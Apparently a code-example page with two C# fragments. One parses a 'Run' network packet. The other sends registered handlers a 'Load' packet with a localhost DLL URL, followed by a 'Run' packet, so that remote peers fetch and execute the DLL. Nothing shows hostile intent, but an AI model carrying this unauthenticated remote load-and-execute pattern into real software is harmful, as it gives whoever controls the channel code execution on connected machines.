예제 #1
0
        public override Packet Parse(byte[] data)
        {
            var ps = new ProticallStream();

            ps.ReadByte(data);

            var re = new Run();

            var strl = ps.ReadVarInt(data);
            re.Data = ps.ReadString(data, strl);

            return re;
        }
예제 #2
0
        public void AddStack(ServerStack s)
        {
            ThreadPool.QueueUserWorkItem((x) =>
            {
                bool notfound = true;
                while (notfound)
                {
                    lock (RegistorSS)
                    {
                        foreach (var i in RegistorSS)
                        {
                            if (i.HandlerID == s.HandlerID)
                            {
                                byte[] buf = new Load() {  URL = "http://localhost/" + s.DLL }.Write();

                                i.NetS.Write(buf, 0, buf.Length);

                                Thread.Sleep(10);

                                byte[] buf1 = new Run() {  Data = s.DLL }.Write();

                                i.NetS.Write(buf1, 0, buf1.Length);

                                notfound = false;
                                break;
                            }
                        }
                    }
                }
            });
        }